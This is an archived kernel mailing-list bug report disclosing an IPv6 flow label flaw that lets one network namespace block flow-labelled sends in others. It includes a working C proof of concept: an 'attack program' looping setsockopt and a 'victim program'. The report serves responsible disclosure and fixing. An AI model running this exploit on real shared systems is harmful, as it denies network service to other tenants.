netdev.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* BUG: potential net namespace bug in IPv6 flow label management
@ 2022-02-13 10:31 Liu, Congyu
  2022-02-13 16:10 ` Willem de Bruijn
  0 siblings, 1 reply; 5+ messages in thread
From: Liu, Congyu @ 2022-02-13 10:31 UTC (permalink / raw)
  To: willemb, security, oss-security, netdev


Hi,

In the test conducted on namespace, I found that one unsuccessful IPv6 flow label 
management from one net ns could stop other net ns's data transmission that requests 
flow label for a short time. Specifically, in our test case, one unsuccessful 
`setsockopt` to get flow label will affect other net ns's `sendmsg` with flow label 
set in cmsg. Simple PoC is included for verification. The behavior descirbed above 
can be reproduced in latest kernel.

I managed to figure out the data flow behind this: when asking to get a flow label, 
some `setsockopt` parameters can trigger function `ipv6_flowlabel_get` to call `fl_create` 
to allocate an exclusive flow label, then call `fl_release` to release it before returning 
-ENOENT. Global variable `ipv6_flowlabel_exclusive`, a rate limit jump label that keeps 
track of number of alive exclusive flow labels, will get increased instantly after calling 
`fl_create`. Due to its rate limit design, `ipv6_flowlabel_exclusive` can only decrease 
sometime later after calling `fl_decrease`. During this period, if data transmission function 
in other net ns (e.g. `udpv6_sendmsg`) calls `fl_lookup`, the false `ipv6_flowlabel_exclusive` 
will invoke the `__fl_lookup`. In the test case observed, this function returns error and 
eventually stops the data transmission.

I further noticed that this bug could somehow be vulnerable: if `setsockopt` is called 
continuously, then `sendmmsg` call from other net ns will be blocked forever. Using the PoC 
provided, if attack and victim programs are running simutaneously, victim program cannot transmit 
data; when running without attack program, the victim program can transmit data normally.

Thanks,
Congyu




Attack Program:

#define _GNU_SOURCE
#include <linux/in6.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <error.h>
#include <errno.h>
#include <sched.h>
#include <stdbool.h>


int main() {
	int fd1, ret, pid;
	unshare(CLONE_NEWNET);
	if ((fd1 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDPLITE)) < 0)
		error(1, errno, "socket");
	struct in6_flowlabel_req req = {
		.flr_action = IPV6_FL_A_GET,
		.flr_label = 0,
		.flr_flags = 0,
		.flr_share = IPV6_FL_S_USER,
	};
	req.flr_dst.s6_addr[0] = 0xfd;
 	req.flr_dst.s6_addr[15] = 0x1;

	while(1) {
		ret = setsockopt(fd1, SOL_IPV6, IPV6_FLOWLABEL_MGR, &req, sizeof(req));
	}

	return 0;
}



Victim program:

#define _GNU_SOURCE
#include <linux/in6.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <error.h>
#include <errno.h>
#include <sched.h>
#include <stdbool.h>

static const char cfg_data[] = "a";

static void do_send(int fd, struct sockaddr_in6 addr, bool with_flowlabel, uint32_t flowlabel)
 {
 	char control[CMSG_SPACE(sizeof(flowlabel))] = {0};
 	struct msghdr msg = {0};
 	struct iovec iov = {0};
 	int ret;

 	iov.iov_base = (char *)cfg_data;
 	iov.iov_len = sizeof(cfg_data);

 	msg.msg_iov = &iov;
 	msg.msg_iovlen = 1;
	msg.msg_name = &addr;
	msg.msg_namelen = sizeof(addr);

 	if (with_flowlabel) {
 		struct cmsghdr *cm;

 		cm = (void *)control;
 		cm->cmsg_len = CMSG_LEN(sizeof(flowlabel));
 		cm->cmsg_level = SOL_IPV6;
 		cm->cmsg_type = IPV6_FLOWINFO;
 		*(uint32_t *)CMSG_DATA(cm) = htonl(flowlabel);

 		msg.msg_control = control;
 		msg.msg_controllen = sizeof(control);
 	}

 	ret = sendmsg(fd, &msg, 0);

	fprintf(stderr, "sendmsg ret = %d\n", ret);
}

static void do_recv(int fd, bool with_flowlabel, uint32_t expect)
 {
 	char control[CMSG_SPACE(sizeof(expect))];
 	char data[sizeof(cfg_data)];
 	struct msghdr msg = {0};
 	struct iovec iov = {0};
 	struct cmsghdr *cm;
 	uint32_t flowlabel;
 	int ret;

 	iov.iov_base = data;
 	iov.iov_len = sizeof(data);

 	msg.msg_iov = &iov;
 	msg.msg_iovlen = 1;


 	memset(control, 0, sizeof(control));
 	msg.msg_control = control;
 	msg.msg_controllen = sizeof(control);

 	recvmsg(fd, &msg, 0);
}

int main() {
	int fd1, ret, pid;
	unshare(CLONE_NEWNET);
	pid = fork();
	if (pid == 0) {
		execlp("ip", "ip", "link", "set", "dev", "lo", "up", NULL);
	}
	sleep(1);
	struct sockaddr_in6 src_addr = {
 		.sin6_family = AF_INET6,
 		.sin6_port = htons(7000),
 		.sin6_addr = in6addr_loopback,
		.sin6_flowinfo = htonl(0),
		.sin6_scope_id = 0,
 	};
	struct sockaddr_in6 dst_addr = {
 		.sin6_family = AF_INET6,
 		.sin6_port = htons(8000),
 		.sin6_addr = in6addr_loopback,
		.sin6_flowinfo = htonl(0),
		.sin6_scope_id = 0,
 	};
	pid = fork();
	int fd2;
	if (pid == 0) {
		if((fd2 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0)
			error(1, errno, "socket");
		if(bind(fd2, (void *)&dst_addr, sizeof(dst_addr)) < 0)
			error(1, errno, "bind");
		while(1) {
			do_recv(fd2, true, 123456);
		}
		return 0;
		
	}
	sleep(1);
	if((fd2 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0)
 		error(1, errno, "socket");
	while(1) {
		do_send(fd2, dst_addr, true, 123456);
		usleep(100000);
	}

	return 0;
}

^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2022-02-14  1:36 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2022-02-13 10:31 BUG: potential net namespace bug in IPv6 flow label management Liu, Congyu
2022-02-13 16:10 ` Willem de Bruijn
2022-02-13 23:47   ` Willem de Bruijn
2022-02-14  0:48     ` Willem de Bruijn
2022-02-14  1:36       ` Liu, Congyu

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).